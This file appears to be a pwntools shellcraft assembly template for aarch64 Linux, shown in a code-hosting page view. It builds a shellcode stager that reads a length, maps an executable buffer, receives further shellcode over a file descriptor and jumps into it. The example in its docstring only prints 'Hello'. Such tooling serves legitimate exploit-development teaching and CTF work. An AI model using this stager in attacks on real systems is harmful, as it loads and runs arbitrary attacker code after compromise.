/
stage.asm
61 lines (51 loc) · 1.34 KB
/
stage.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<%
from pwnlib.shellcraft.aarch64 import mov
from pwnlib.shellcraft.aarch64.linux import read, readn, mmap
from pwnlib import constants as C
%>
<%page args="fd=0, length=None"/>
<%docstring>
Migrates shellcode to a new buffer.
Arguments:
fd(int):
Integer file descriptor to recv data from.
Default is stdin (0).
length(int):
Optional buffer length. If None, the first pointer-width
of data received is the length.
Example:
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
</%docstring>
<%
protection = C.PROT_READ | C.PROT_WRITE | C.PROT_EXEC
flags = C.MAP_ANONYMOUS | C.MAP_PRIVATE
assert isinstance(fd, int)
%>
%if length is None:
/* How many bytes should we receive? */
${read(fd, 'sp', 8)}
ldr x2, [sp]
%else:
${mov('x2', length)}
str x2, [sp]
%endif
/* Page-align, assume <4GB */
lsr x2, x2, #12
add x2, x2, #1
lsl x2, x2, #12
/* Map it */
${mmap(0, 'x2', protection, flags, 0, 0)}
/* Grab the saved size, save the address */
ldr x4, [sp]
/* Save the memory address */
str x0, [sp]
/* Read in all of the data */
${readn(fd, 'x0', 'x4')}
/* Go to shellcode */
ldr x30, [sp]
ret